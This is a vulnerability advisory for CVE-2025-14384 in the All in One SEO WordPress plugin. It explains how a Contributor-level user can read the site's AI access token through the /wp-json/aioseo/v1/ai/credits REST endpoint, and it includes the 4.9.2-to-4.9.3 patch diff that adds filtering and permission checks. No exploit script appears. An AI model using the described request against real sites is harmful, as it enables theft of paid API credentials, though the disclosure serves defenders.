Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14384: All in One SEO – Powerful SEO Plugin to Boost SEO Rankings & Increase Traffic <= 4.9.2 – Missing Authorization to Authenticated (Contributor+) AI Access Token and Credit Disclosure (all-in-one-seo-pack)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 4.9.2
Patched Version 4.9.3
Disclosed January 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14384:
The vulnerability is a missing authorization check in the All in One SEO plugin for WordPress, affecting versions up to and including 4.9.2. It allows authenticated attackers with Contributor-level access or higher to disclose the global AI access token and credit information via a specific REST API endpoint.

Root Cause:
The vulnerability exists in the `/aioseo/v1/ai/credits` REST route handler. Atomic Edge research identified that the `getCredits()` method in `/all-in-one-seo-pack/app/Common/Api/Ai.php` lacks proper capability checks before returning sensitive AI configuration data. The method directly returns `aioseo()->internalOptions->internal->ai->all()` without verifying the user’s permission to access AI-related settings. This missing authorization check violates WordPress security best practices for REST endpoint protection.

Exploitation:
Attackers can exploit this vulnerability by sending a GET request to the vulnerable REST endpoint. The attack vector requires an authenticated WordPress user with at least Contributor privileges. The specific endpoint is `/wp-json/aioseo/v1/ai/credits`. No special parameters or payloads are needed beyond a valid WordPress authentication cookie or nonce. The request returns the global AI access token, credit balance, trial status, and cost-per-feature information in the response.

Patch Analysis:
The patch in version 4.9.3 modifies the `getCredits()` method to return a filtered subset of AI options instead of the complete internal configuration. The changed code replaces `aioseo()->internalOptions->internal->ai->all()` with a specific array containing only non-sensitive fields: `isTrialAccessToken`, `isManuallyConnected`, `credits`, and `costPerFeature`. This change prevents exposure of the actual access token while still allowing legitimate functionality. The same filtering pattern was applied consistently across all AI-related API methods in the file.

Impact:
Successful exploitation discloses the plugin’s global AI access token, which could allow attackers to consume AI credits, manipulate AI-generated content, or potentially access paid AI features without authorization. The exposed token represents a form of API credential that could be abused for financial impact on the site owner. While the vulnerability does not directly enable privilege escalation or remote code execution, it exposes sensitive configuration data that should be restricted to administrators.

Differential between vulnerable and patched code

Code Diff
--- a/all-in-one-seo-pack/all_in_one_seo_pack.php
+++ b/all-in-one-seo-pack/all_in_one_seo_pack.php
@@ -5,7 +5,7 @@
  * Description: SEO for WordPress. Features like XML Sitemaps, SEO for custom post types, SEO for blogs, business sites, ecommerce sites, and much more. More than 100 million downloads since 2007.
  * Author:      All in One SEO Team
  * Author URI:  https://aioseo.com/
- * Version:     4.9.2
+ * Version:     4.9.3
  * Text Domain: all-in-one-seo-pack
  * Domain Path: /languages
  * License:     GPL-3.0+
--- a/all-in-one-seo-pack/app/Common/Admin/Admin.php
+++ b/all-in-one-seo-pack/app/Common/Admin/Admin.php
@@ -988,7 +988,7 @@
 	 */
 	public function addFooterText() {
 		$linkText = esc_html__( 'Give us a 5-star rating!', 'all-in-one-seo-pack' );
-		$href     = 'https://wordpress.org/support/plugin/all-in-one-seo-pack/reviews/?filter=5#new-post';
+		$href     = 'https://aioseo.com/aioseo-wordpress-rating';

 		$link1 = sprintf(
 			'<a href="%1$s" target="_blank" title="%2$s">★★★★★</a>',
--- a/all-in-one-seo-pack/app/Common/Admin/Notices/Review.php
+++ b/all-in-one-seo-pack/app/Common/Admin/Notices/Review.php
@@ -126,7 +126,7 @@
 			<div class="step-3" style="display:none;">
 				<p><?php echo esc_html( $string7 ); ?></p>
 				<p>
-					<a href="https://wordpress.org/support/plugin/all-in-one-seo-pack/reviews/?filter=5#new-post" class="aioseo-dismiss-review-notice" target="_blank" rel="noopener noreferrer">
+					<a href="https://aioseo.com/aioseo-wordpress-rating" class="aioseo-dismiss-review-notice" target="_blank" rel="noopener noreferrer">
 						<?php echo esc_html( $string9 ); ?>
 					</a> • 
 					<a href="#" class="aioseo-dismiss-review-notice-delay" target="_blank" rel="noopener noreferrer">
@@ -165,7 +165,7 @@
 			<div class="step-3">
 				<p><?php echo $string1; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></p>
 				<p>
-					<a href="https://wordpress.org/support/plugin/all-in-one-seo-pack/reviews/?filter=5#new-post" class="aioseo-dismiss-review-notice" target="_blank" rel="noopener noreferrer">
+					<a href="https://aioseo.com/aioseo-wordpress-rating" class="aioseo-dismiss-review-notice" target="_blank" rel="noopener noreferrer">
 						<?php echo esc_html( $string9 ); ?>
 					</a> • 
 					<a href="#" class="aioseo-dismiss-review-notice-delay" target="_blank" rel="noopener noreferrer">
--- a/all-in-one-seo-pack/app/Common/Admin/Pointers.php
+++ b/all-in-one-seo-pack/app/Common/Admin/Pointers.php
@@ -6,8 +6,6 @@
 	exit;
 }

-use AIOSEOPluginCommonModels;
-
 /**
  * Handles the pointers for the admin.
  *
@@ -50,7 +48,7 @@
 		if (
 			! isset( $_GET['aioseo-dismiss-pointer'] ) ||
 			! isset( $_GET['aioseo-dismiss-pointer-nonce'] ) ||
-			! wp_verify_nonce( $_GET['aioseo-dismiss-pointer-nonce'], 'aioseo-dismiss-pointer' )
+			! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['aioseo-dismiss-pointer-nonce'] ) ), 'aioseo-dismiss-pointer' )
 		) {
 			return;
 		}
@@ -85,14 +83,14 @@
 				const $menuItem = $( '#toplevel_page_aioseo' );
 				const $pointer  = $menuItem.pointer( {
 					content :
-						"<h3><?php esc_html_e( $args['title'], 'all-in-one-seo-pack' ); ?></h3>" +
-						"<h4><?php esc_html_e( $args['subtitle'], 'all-in-one-seo-pack' ); ?></h4>" +
-						"<p><?php esc_html_e( $args['content'], 'all-in-one-seo-pack' ); ?></p>" +
+						"<h3><?php esc_html( $args['title'], 'all-in-one-seo-pack' ); ?></h3>" +
+						"<h4><?php esc_html( $args['subtitle'], 'all-in-one-seo-pack' ); ?></h4>" +
+						"<p><?php esc_html( $args['content'], 'all-in-one-seo-pack' ); ?></p>" +
 						"<?php
 							echo sprintf(
 								'<p><a class="button button-primary" href="%s">%s</a></p>',
 								esc_attr( esc_url( $args['url'] ) ),
-								esc_html__( $args['button'], 'all-in-one-seo-pack' )
+								esc_html( $args['button'], 'all-in-one-seo-pack' )
 							);
 						?>",
 					position : {
@@ -134,6 +132,7 @@
 	 */
 	public function registerKwRankTracker() {
 		if (
+			version_compare( aioseo()->version, '4.9.0', '>=' ) || // We only want to show this pointer up to 4.9.0.
 			! current_user_can( 'aioseo_search_statistics_settings' ) ||
 			(
 				is_object( aioseo()->license ) &&
--- a/all-in-one-seo-pack/app/Common/Admin/PostSettings.php
+++ b/all-in-one-seo-pack/app/Common/Admin/PostSettings.php
@@ -237,7 +237,7 @@
 			return;
 		}

-		$currentPost = json_decode( wp_unslash( ( $_POST['aioseo-post-settings'] ) ), true );
+		$currentPost = json_decode( wp_unslash( ( $_POST['aioseo-post-settings'] ) ), true ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
 		$currentPost = aioseo()->helpers->sanitize( $currentPost );

 		// If there is no data, there likely was an error, e.g. if the hidden field wasn't populated on load and the user saved the post without making changes in the metabox.
--- a/all-in-one-seo-pack/app/Common/Ai/Assistant.php
+++ b/all-in-one-seo-pack/app/Common/Ai/Assistant.php
@@ -25,7 +25,9 @@

 		return [
 			'extend' => [
+				'block'                     => aioseo()->standalone->standaloneBlocks['aiAssistant']->isEnabled(),
 				'blockEditorInserterButton' => apply_filters( 'aioseo_ai_assistant_extend_block_editor_inserter_button', true, $objectId ),
+				'paragraphPlaceholder'      => apply_filters( 'aioseo_ai_assistant_extend_paragraph_placeholder', true, $objectId )
 			]
 		];
 	}
--- a/all-in-one-seo-pack/app/Common/Ai/Image.php
+++ b/all-in-one-seo-pack/app/Common/Ai/Image.php
@@ -81,7 +81,7 @@
 		$style       = trim( $metadata['style'] ?? '' );
 		$aspectRatio = trim( $metadata['aspectRatio'] ?? '' );

-		$filenameContext = substr( $prompt, 0, 25 ) . '-' . $quality . '-' . $style . '-' . $aspectRatio . '-' . date( 'Ymd-His' );
+		$filenameContext = substr( $prompt, 0, 25 ) . '-' . $quality . '-' . $style . '-' . $aspectRatio . '-' . date_i18n( 'Ymd-His' );
 		$filename        = 'aioseo-ai-' . aioseo()->helpers->toLowerCase( sanitize_file_name( $filenameContext ) ) . '.' . $format;

 		$upload = wp_upload_bits( $filename, null, $imageData );
--- a/all-in-one-seo-pack/app/Common/Api/Ai.php
+++ b/all-in-one-seo-pack/app/Common/Api/Ai.php
@@ -40,7 +40,12 @@

 		return new WP_REST_Response( [
 			'success'   => true,
-			'aiOptions' => aioseo()->internalOptions->internal->ai->all()
+			'aiOptions' => [
+				'isTrialAccessToken'  => aioseo()->internalOptions->internal->ai->isTrialAccessToken,
+				'isManuallyConnected' => aioseo()->internalOptions->internal->ai->isManuallyConnected,
+				'credits'             => aioseo()->internalOptions->internal->ai->credits->all(),
+				'costPerFeature'      => aioseo()->internalOptions->internal->ai->costPerFeature
+			]
 		], 200 );
 	}

@@ -60,7 +65,12 @@

 		return new WP_REST_Response( [
 			'success'   => true,
-			'aiOptions' => aioseo()->internalOptions->internal->ai->all()
+			'aiOptions' => [
+				'isTrialAccessToken'  => aioseo()->internalOptions->internal->ai->isTrialAccessToken,
+				'isManuallyConnected' => aioseo()->internalOptions->internal->ai->isManuallyConnected,
+				'credits'             => aioseo()->internalOptions->internal->ai->credits->all(),
+				'costPerFeature'      => aioseo()->internalOptions->internal->ai->costPerFeature
+			]
 		], 200 );
 	}

@@ -153,7 +163,12 @@
 		return new WP_REST_Response( [
 			'success'   => true,
 			'titles'    => $titles,
-			'aiOptions' => aioseo()->internalOptions->internal->ai->all()
+			'aiOptions' => [
+				'isTrialAccessToken'  => aioseo()->internalOptions->internal->ai->isTrialAccessToken,
+				'isManuallyConnected' => aioseo()->internalOptions->internal->ai->isManuallyConnected,
+				'credits'             => aioseo()->internalOptions->internal->ai->credits->all(),
+				'costPerFeature'      => aioseo()->internalOptions->internal->ai->costPerFeature
+			]
 		], 200 );
 	}

@@ -246,7 +261,12 @@
 		return new WP_REST_Response( [
 			'success'      => true,
 			'descriptions' => $descriptions,
-			'aiOptions'    => aioseo()->internalOptions->internal->ai->all()
+			'aiOptions'    => [
+				'isTrialAccessToken'  => aioseo()->internalOptions->internal->ai->isTrialAccessToken,
+				'isManuallyConnected' => aioseo()->internalOptions->internal->ai->isManuallyConnected,
+				'credits'             => aioseo()->internalOptions->internal->ai->credits->all(),
+				'costPerFeature'      => aioseo()->internalOptions->internal->ai->costPerFeature
+			]
 		], 200 );
 	}

@@ -347,7 +367,12 @@
 		return new WP_REST_Response( [
 			'success'   => true,
 			'snippets'  => $aioseoPost->ai->socialPosts, // Return all the social posts, not just the new ones.
-			'aiOptions' => aioseo()->internalOptions->internal->ai->all()
+			'aiOptions' => [
+				'isTrialAccessToken'  => aioseo()->internalOptions->internal->ai->isTrialAccessToken,
+				'isManuallyConnected' => aioseo()->internalOptions->internal->ai->isManuallyConnected,
+				'credits'             => aioseo()->internalOptions->internal->ai->credits->all(),
+				'costPerFeature'      => aioseo()->internalOptions->internal->ai->costPerFeature
+			]
 		], 200 );
 	}

@@ -667,7 +692,12 @@
 		return new WP_REST_Response( [
 			'success'   => true,
 			'faqs'      => $faqs,
-			'aiOptions' => aioseo()->internalOptions->internal->ai->all()
+			'aiOptions' => [
+				'isTrialAccessToken'  => aioseo()->internalOptions->internal->ai->isTrialAccessToken,
+				'isManuallyConnected' => aioseo()->internalOptions->internal->ai->isManuallyConnected,
+				'credits'             => aioseo()->internalOptions->internal->ai->credits->all(),
+				'costPerFeature'      => aioseo()->internalOptions->internal->ai->costPerFeature
+			]
 		], 200 );
 	}

@@ -760,7 +790,12 @@
 		return new WP_REST_Response( [
 			'success'   => true,
 			'keyPoints' => $keyPoints,
-			'aiOptions' => aioseo()->internalOptions->internal->ai->all()
+			'aiOptions' => [
+				'isTrialAccessToken'  => aioseo()->internalOptions->internal->ai->isTrialAccessToken,
+				'isManuallyConnected' => aioseo()->internalOptions->internal->ai->isManuallyConnected,
+				'credits'             => aioseo()->internalOptions->internal->ai->credits->all(),
+				'costPerFeature'      => aioseo()->internalOptions->internal->ai->costPerFeature
+			]
 		], 200 );
 	}

@@ -839,7 +874,12 @@

 		return new WP_REST_Response( [
 			'success' => true,
-			'aiData'  => $internalOptions->internal->ai->all()
+			'aiData'  => [
+				'isTrialAccessToken'  => $internalOptions->internal->ai->isTrialAccessToken,
+				'isManuallyConnected' => $internalOptions->internal->ai->isManuallyConnected,
+				'credits'             => $internalOptions->internal->ai->credits->all(),
+				'costPerFeature'      => $internalOptions->internal->ai->costPerFeature
+			]
 		], 200 );
 	}
 }
 No newline at end of file
--- a/all-in-one-seo-pack/app/Common/Api/Network.php
+++ b/all-in-one-seo-pack/app/Common/Api/Network.php
@@ -28,6 +28,21 @@
 		$enabled          = isset( $body['enabled'] ) ? boolval( $body['enabled'] ) : null;
 		$searchAppearance = ! empty( $body['searchAppearance'] ) ? $body['searchAppearance'] : [];

+		// Ensure the user has access to the target site.
+		if (
+			$siteId &&
+			is_multisite() &&
+			(
+				! is_user_member_of_blog( get_current_user_id(), $siteId ) &&
+				! is_super_admin()
+			)
+		) {
+			return new WP_REST_Response( [
+				'success' => false,
+				'message' => 'You do not have permission to access this site.'
+			], 403 );
+		}
+
 		aioseo()->helpers->switchToBlog( $siteId );

 		$options = $isNetwork ? aioseo()->networkOptions : aioseo()->options;
--- a/all-in-one-seo-pack/app/Common/Api/PostsTerms.php
+++ b/all-in-one-seo-pack/app/Common/Api/PostsTerms.php
@@ -354,8 +354,8 @@
 			update_post_meta( $postId, '_wp_attachment_image_alt', sanitize_text_field( $body['imageAltTag'] ) );
 		}

-		$aioseoPost->title       = $body['title'];
-		$aioseoPost->description = $body['description'];
+		$aioseoPost->title       = ! empty( $body['title'] ) ? sanitize_text_field( $body['title'] ) : null;
+		$aioseoPost->description = ! empty( $body['description'] ) ? sanitize_textarea_field( $body['description'] ) : null;
 		$aioseoPost->updated     = gmdate( 'Y-m-d H:i:s' );
 		$aioseoPost->save();

--- a/all-in-one-seo-pack/app/Common/Api/Settings.php
+++ b/all-in-one-seo-pack/app/Common/Api/Settings.php
@@ -35,6 +35,20 @@
 	public static function getOptions( $request ) {
 		$siteId = (int) $request->get_param( 'siteId' );
 		if ( $siteId ) {
+			// Ensure the user has access to the target site.
+			if (
+				is_multisite() &&
+				(
+					! is_user_member_of_blog( get_current_user_id(), $siteId ) &&
+					! is_super_admin()
+				)
+			) {
+				return new WP_REST_Response( [
+					'success' => false,
+					'message' => 'You do not have permission to access this site.'
+				], 403 );
+			}
+
 			aioseo()->helpers->switchToBlog( $siteId );

 			// Re-initialize the options for this site.
@@ -597,6 +611,20 @@
 		$contentPostType = null;
 		$return          = true;

+		// Ensure the user has access to the target site.
+		if (
+			is_multisite() &&
+			(
+				! is_user_member_of_blog( get_current_user_id(), $siteId ) &&
+				! is_super_admin()
+			)
+		) {
+			return new WP_REST_Response( [
+				'success' => false,
+				'message' => 'You do not have permission to export data for this site.'
+			], 403 );
+		}
+
 		try {
 			aioseo()->helpers->switchToBlog( $siteId );

@@ -754,6 +782,20 @@
 		$siteId        = ! empty( $body['siteId'] ) ? intval( $body['siteId'] ) : false;
 		$siteOrNetwork = empty( $siteId ) ? aioseo()->helpers->getNetworkId() : $siteId; // If we don't have a siteId, we will use the networkId.

+		// Ensure the user has access to the target site.
+		if (
+			$siteId &&
+			is_multisite() &&
+			(
+				! is_user_member_of_blog( get_current_user_id(), $siteId ) &&
+				! is_super_admin()
+		) ) {
+			return new WP_REST_Response( [
+				'success' => false,
+				'message' => 'You do not have permission to access this site.'
+			], 403 );
+		}
+
 		// When on network admin page and no siteId, it is supposed to perform on network level.
 		if ( $network && 'clear-cache' === $action && empty( $siteId ) ) {
 			aioseo()->core->networkCache->clear();
--- a/all-in-one-seo-pack/app/Common/Breadcrumbs/Frontend.php
+++ b/all-in-one-seo-pack/app/Common/Breadcrumbs/Frontend.php
@@ -299,11 +299,9 @@
 	 * @return string            The default crumb template.
 	 */
 	public function getDefaultTemplate( $type = '', $reference = '' ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable
-		return <<<TEMPLATE
-<span class="aioseo-breadcrumb">
-	<a href="#breadcrumb_link" title="#breadcrumb_label">#breadcrumb_label</a>
-</span>
-TEMPLATE;
+		return '<span class="aioseo-breadcrumb">
+			<a href="#breadcrumb_link" title="#breadcrumb_label">#breadcrumb_label</a>
+		</span>';
 	}

 	/**
--- a/all-in-one-seo-pack/app/Common/ImportExport/RankMath/PostMeta.php
+++ b/all-in-one-seo-pack/app/Common/ImportExport/RankMath/PostMeta.php
@@ -138,6 +138,11 @@
 				->run()
 				->result();

+			if ( ! $postMeta || ! count( $postMeta ) ) {
+				// Skip posts with no Rank Math meta (shouldn't happen with our query filter, but defensive check).
+				continue;
+			}
+
 			$meta = array_merge( [
 				'post_id' => (int) $post->ID,
 			], $this->getMetaData( $postMeta, $post ) );
@@ -154,7 +159,7 @@

 		if ( count( $posts ) === $postsPerAction ) {
 			try {
-				as_schedule_single_action( time() + 5, $this->postActionName, [], 'aioseo' );
+				as_schedule_single_action( time() + 30, $this->postActionName, [], 'aioseo' );
 			} catch ( Exception $e ) {
 				// Do nothing.
 			}
--- a/all-in-one-seo-pack/app/Common/ImportExport/SeoPress/PostMeta.php
+++ b/all-in-one-seo-pack/app/Common/ImportExport/SeoPress/PostMeta.php
@@ -97,20 +97,15 @@
 				->run()
 				->result();

-			$meta = array_merge( [
-				'post_id' => (int) $post->ID,
-			], $this->getMetaData( $postMeta, $post->ID ) );
-
 			if ( ! $postMeta || ! count( $postMeta ) ) {
-				$aioseoPost = ModelsPost::getPost( (int) $post->ID );
-				$aioseoPost->set( $meta );
-				$aioseoPost->save();
-
-				aioseo()->migration->meta->migrateAdditionalPostMeta( $post->ID );
-
+				// Skip posts with no SEOPress meta (shouldn't happen with our query filter, but defensive check).
 				continue;
 			}

+			$meta = array_merge( [
+				'post_id' => (int) $post->ID,
+			], $this->getMetaData( $postMeta, $post->ID ) );
+
 			$aioseoPost = ModelsPost::getPost( (int) $post->ID );
 			$aioseoPost->set( $meta );
 			$aioseoPost->save();
@@ -122,7 +117,7 @@
 		}

 		if ( count( $posts ) === $postsPerAction ) {
-			aioseo()->actionScheduler->scheduleSingle( aioseo()->importExport->seoPress->postActionName, 5, [], true );
+			aioseo()->actionScheduler->scheduleSingle( aioseo()->importExport->seoPress->postActionName, 30, [], true );
 		} else {
 			aioseo()->core->cache->delete( 'import_post_meta_seopress' );
 		}
--- a/all-in-one-seo-pack/app/Common/ImportExport/YoastSeo/PostMeta.php
+++ b/all-in-one-seo-pack/app/Common/ImportExport/YoastSeo/PostMeta.php
@@ -54,8 +54,11 @@
 			->start( 'posts' . ' as p' )
 			->select( 'p.ID, p.post_type' )
 			->leftJoin( 'aioseo_posts as ap', '`p`.`ID` = `ap`.`post_id`' )
-			->whereRaw( "( ap.post_id IS NULL OR ap.updated < '$timeStarted' )" )
+			->join( 'postmeta as pm', '`p`.`ID` = `pm`.`post_id`' )
 			->whereIn( 'p.post_type', $publicPostTypes )
+			->whereRaw( "( ap.post_id IS NULL OR ap.updated < '$timeStarted' )" )
+			->whereLike( 'pm.meta_key', '_yoast_wpseo_%', true )
+			->groupBy( 'p.ID' )
 			->orderBy( 'p.ID DESC' )
 			->limit( $postsPerAction )
 			->run()
@@ -96,6 +99,11 @@
 				->run()
 				->result();

+			if ( ! $postMeta || ! count( $postMeta ) ) {
+				// Skip posts with no Yoast meta (shouldn't happen with our query filter, but defensive check).
+				continue;
+			}
+
 			$featuredImage = get_the_post_thumbnail_url( $post->ID );
 			$meta          = [
 				'post_id'                  => (int) $post->ID,
@@ -121,15 +129,6 @@
 				'twitter_image_type'       => 'default'
 			];

-			if ( ! $postMeta || ! count( $postMeta ) ) {
-				$aioseoPost = ModelsPost::getPost( (int) $post->ID );
-				$aioseoPost->set( $meta );
-				$aioseoPost->save();
-
-				aioseo()->migration->meta->migrateAdditionalPostMeta( $post->ID );
-				continue;
-			}
-
 			$title = '';
 			foreach ( $postMeta as $record ) {
 				$name  = $record->meta_key;
@@ -327,7 +326,7 @@

 		if ( count( $posts ) === $postsPerAction ) {
 			try {
-				as_schedule_single_action( time() + 5, aioseo()->importExport->yoastSeo->postActionName, [], 'aioseo' );
+				as_schedule_single_action( time() + 30, aioseo()->importExport->yoastSeo->postActionName, [], 'aioseo' );
 			} catch ( Exception $e ) {
 				// Do nothing.
 			}
--- a/all-in-one-seo-pack/app/Common/Llms/Llms.php
+++ b/all-in-one-seo-pack/app/Common/Llms/Llms.php
@@ -138,7 +138,7 @@
 			$this->title = $isMultisite
 				? get_blog_option( get_current_blog_id(), 'blogname' )
 				: get_bloginfo( 'name' );
-			$this->title = $this->title ?? aioseo()->meta->title->getHomePageTitle();
+			$this->title = $this->title ?: aioseo()->meta->title->getHomePageTitle();
 		}

 		// Check for LLMS custom description setting
@@ -151,7 +151,7 @@
 			$this->description = $isMultisite
 				? get_blog_option( get_current_blog_id(), 'blogdescription' )
 				: get_bloginfo( 'description' );
-			$this->description = $this->description ?? aioseo()->meta->description->getHomePageDescription();
+			$this->description = $this->description ?: aioseo()->meta->description->getHomePageDescription();
 		}

 		$this->link = $isMultisite
@@ -302,8 +302,17 @@

 			if ( ! empty( $posts ) ) {
 				$content .= '## ' . $postTypeObject->labels->name . "nn";
-				foreach ( $posts as $post ) {
+				foreach ( $posts as $postObject ) {
+					$post = get_post( $postObject->ID );
+					if ( is_wp_error( $post ) ) {
+						continue;
+					}
+
+					aioseo()->helpers->setWpQueryPost( $post );
+
 					$content .= $this->getPostContent( $post, $llmsFull );
+
+					aioseo()->helpers->restoreWpQuery();
 				}

 				$content .= "n";
@@ -328,13 +337,18 @@

 			if ( ! empty( $terms ) ) {
 				$content .= '## ' . $taxonomyObject->labels->name . "nn";
-				foreach ( $terms as $term ) {
-					if ( is_object( $term ) && ! empty( $term->term_id ) ) {
-						// get the term again in case it does not contain the name
-						if ( empty( $term->name ) ) {
-							$term = get_term( $term->term_id, $taxonomy );
+				foreach ( $terms as $termObject ) {
+					if ( is_object( $termObject ) && ! empty( $termObject->term_id ) ) {
+						$term = get_term( $termObject->term_id, $taxonomy );
+						if ( is_wp_error( $term ) ) {
+							continue;
 						}
-						$content .= '- [' . aioseo()->helpers->decodeHtmlEntities( $term->name ) . '](' . aioseo()->helpers->decodeUrl( get_term_link( $term->term_id, $taxonomy ) ) . ")n";
+
+						aioseo()->helpers->setWpQueryTerm( $term, $taxonomy );
+
+						$content .= $this->getTermContent( $term, $taxonomy, $llmsFull );
+
+						aioseo()->helpers->restoreWpQuery();
 					}
 				}
 				$content .= "n";
@@ -359,12 +373,38 @@
 	 * @return string             The content of the llms.txt file.
 	 */
 	protected function getPostContent( $post, $llmsFull = false ) { // phpcs:disable VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable
-		$content = '- [' . aioseo()->helpers->decodeHtmlEntities( $post->post_title ) . '](' . aioseo()->helpers->decodeUrl( get_permalink( $post->ID ) ) . ')';
+		$title   = apply_filters( 'aioseo_llms_post_title', $post->post_title, $post );
+		$content = '- [' . aioseo()->helpers->decodeHtmlEntities( $title ) . '](' . aioseo()->helpers->decodeUrl( get_permalink( $post ) ) . ')';

-		$description = aioseo()->meta->description->getPostDescription( $post->ID );
+		$description = aioseo()->meta->description->getPostDescription( $post );
+		$description = apply_filters( 'aioseo_llms_post_description', $description, $post );
+		if ( ! empty( $description ) ) {
+			$content .= ' - ' . aioseo()->helpers->decodeHtmlEntities( $description );
+		}
+
+		$content .= "n";
+
+		return $content;
+	}
+
+	/**
+	 * Gets the term content section of the llms.txt file.
+	 *
+	 * @since 4.9.3
+	 *
+	 * @param  WP_Term $term     The term object.
+	 * @param  string   $taxonomy The taxonomy name.
+	 * @param  bool     $llmsFull Whether to include the llms-full.txt file.
+	 * @return string             The content of the llms.txt file.
+	 */
+	protected function getTermContent( $term, $taxonomy, $llmsFull = false ) { // phpcs:disable VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable
+		$title   = apply_filters( 'aioseo_llms_term_title', $term->name, $term );
+		$content = '- [' . aioseo()->helpers->decodeHtmlEntities( $title ) . '](' . aioseo()->helpers->decodeUrl( get_term_link( $term, $taxonomy ) ) . ')';

+		$description = aioseo()->meta->description->getTermDescription( $term );
+		$description = apply_filters( 'aioseo_llms_term_description', $description, $term );
 		if ( ! empty( $description ) ) {
-			$content .= ' - ' . $description;
+			$content .= ' - ' . aioseo()->helpers->decodeHtmlEntities( $description );
 		}

 		$content .= "n";
--- a/all-in-one-seo-pack/app/Common/Main/CategoryBase.php
+++ b/all-in-one-seo-pack/app/Common/Main/CategoryBase.php
@@ -57,7 +57,7 @@
 	public function maybeRedirectCategoryUrl( $queryVars ) {
 		if ( isset( $queryVars['aioseo_category_redirect'] ) ) {
 			$categoryUrl = trailingslashit( get_option( 'home' ) ) . user_trailingslashit( $queryVars['aioseo_category_redirect'], 'category' );
-			wp_redirect( $categoryUrl, 301, 'AIOSEO' );
+			wp_redirect( $categoryUrl, 301, 'AIOSEO' ); // phpcs:ignore WordPress.Security.SafeRedirect.wp_redirect_wp_redirect
 			die;
 		}

--- a/all-in-one-seo-pack/app/Common/Main/Uninstall.php
+++ b/all-in-one-seo-pack/app/Common/Main/Uninstall.php
@@ -61,7 +61,7 @@

 		// phpcs:disable WordPress.DB.DirectDatabaseQuery
 		foreach ( aioseo()->core->getDbTables() as $tableName ) {
-			$wpdb->query( $wpdb->prepare( 'DROP TABLE IF EXISTS %i', $tableName ) );
+			$wpdb->query( "DROP TABLE IF EXISTS `" . esc_sql( $tableName ) . "`" ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 		}

 		// Delete all AIOSEO Locations and Location Categories.
--- a/all-in-one-seo-pack/app/Common/Options/Options.php
+++ b/all-in-one-seo-pack/app/Common/Options/Options.php
@@ -63,9 +63,7 @@
 			'before' => [ 'type' => 'html' ],
 			'after'  => [
 				'type'    => 'html',
-				'default' => <<<TEMPLATE
-<p>The post #post_link first appeared on #site_link.</p>
-TEMPLATE
+				'default' => '<p>The post #post_link first appeared on #site_link.</p>'
 			]
 		],
 		'advanced'         => [
--- a/all-in-one-seo-pack/app/Common/Sitemap/Content.php
+++ b/all-in-one-seo-pack/app/Common/Sitemap/Content.php
@@ -15,6 +15,24 @@
  */
 class Content {
 	/**
+	 * Methods that can be called dynamically based on sitemap index name.
+	 * This prevents collisions with user-defined post type slugs that match internal method names.
+	 *
+	 * @since 4.9.3
+	 *
+	 * @var array
+	 */
+	private $dynamicIndexMethods = [
+		'addl',
+		'author',
+		'date',
+		'rss',
+		'bpActivity',
+		'bpGroup',
+		'bpMember'
+	];
+
+	/**
 	 * Returns the entries for the requested sitemap.
 	 *
 	 * @since 4.0.0
@@ -50,7 +68,11 @@

 		// Check if requested index has a dedicated method.
 		$methodName = aioseo()->helpers->dashesToCamelCase( aioseo()->sitemap->indexName );
-		if ( method_exists( $this, $methodName ) ) {
+		if (
+			in_array( $methodName, $this->dynamicIndexMethods, true ) &&
+			method_exists( $this, $methodName ) &&
+			! in_array( aioseo()->sitemap->indexName, [ 'posts', 'terms' ], true ) // Skip posts and terms indexes because they are handled differently.
+		) {
 			return $this->$methodName();
 		}

@@ -114,7 +136,11 @@

 		// Check if requested index has a dedicated method.
 		$methodName = aioseo()->helpers->dashesToCamelCase( aioseo()->sitemap->indexName );
-		if ( method_exists( $this, $methodName ) ) {
+		if (
+			in_array( $methodName, $this->dynamicIndexMethods, true ) &&
+			method_exists( $this, $methodName ) &&
+			! in_array( aioseo()->sitemap->indexName, [ 'posts', 'terms' ], true ) // Skip posts and terms indexes because they are handled differently.
+		) {
 			$res = $this->$methodName();

 			return ! empty( $res ) ? count( $res ) : 0;
@@ -600,7 +626,7 @@
 			GROUP BY
 				YEAR(post_date),
 				MONTH(post_date)
-			ORDER BY post_date ASC
+			ORDER BY post_date ASC
 			LIMIT 50000",
 			true
 		)->result();
--- a/all-in-one-seo-pack/app/Common/Standalone/Blocks/AiAssistant.php
+++ b/all-in-one-seo-pack/app/Common/Standalone/Blocks/AiAssistant.php
@@ -20,6 +20,21 @@
 	 * @return void
 	 */
 	public function register() {
+		if ( ! $this->isEnabled() ) {
+			return;
+		}
+
 		aioseo()->blocks->registerBlock( 'ai-assistant' );
 	}
+
+	/**
+	 * Returns whether the AI Assistant block is enabled.
+	 *
+	 * @since 4.9.3
+	 *
+	 * @return bool Whether the AI Assistant block is enabled.
+	 */
+	public function isEnabled() {
+		return (bool) apply_filters( 'aioseo_ai_assistant_block_enabled', true );
+	}
 }
 No newline at end of file
--- a/all-in-one-seo-pack/app/Common/Standalone/Blocks/TableOfContents.php
+++ b/all-in-one-seo-pack/app/Common/Standalone/Blocks/TableOfContents.php
@@ -47,6 +47,16 @@
 	 * @return void
 	 */
 	public function enqueueBlockAssets() {
+		// Only enqueue if the block is present in the content.
+		if ( ! is_singular() ) {
+			return;
+		}
+
+		$post = get_post();
+		if ( ! $post || ! has_block( 'aioseo/table-of-contents', $post ) ) {
+			return;
+		}
+
 		aioseo()->core->assets->load( 'src/vue/standalone/blocks/table-of-contents/frontend.js' );
 	}

@@ -150,7 +160,7 @@
 		$class3           = 'closed' === $attributes['collapsibleType'] ? 'aioseo-toc-collapsed' : '';
 		$blockCustomClass = isset( $attributes['className'] ) ? $attributes['className'] : '';

-		$fullHtmlString = '<div class="' . $blockCustomClass . '">
+		$fullHtmlString = '<div class="wp-block-aioseo-table-of-contents ' . $blockCustomClass . '">
 			<div class="aioseo-toc-header">
 				<header class="aioseo-toc-header-area">
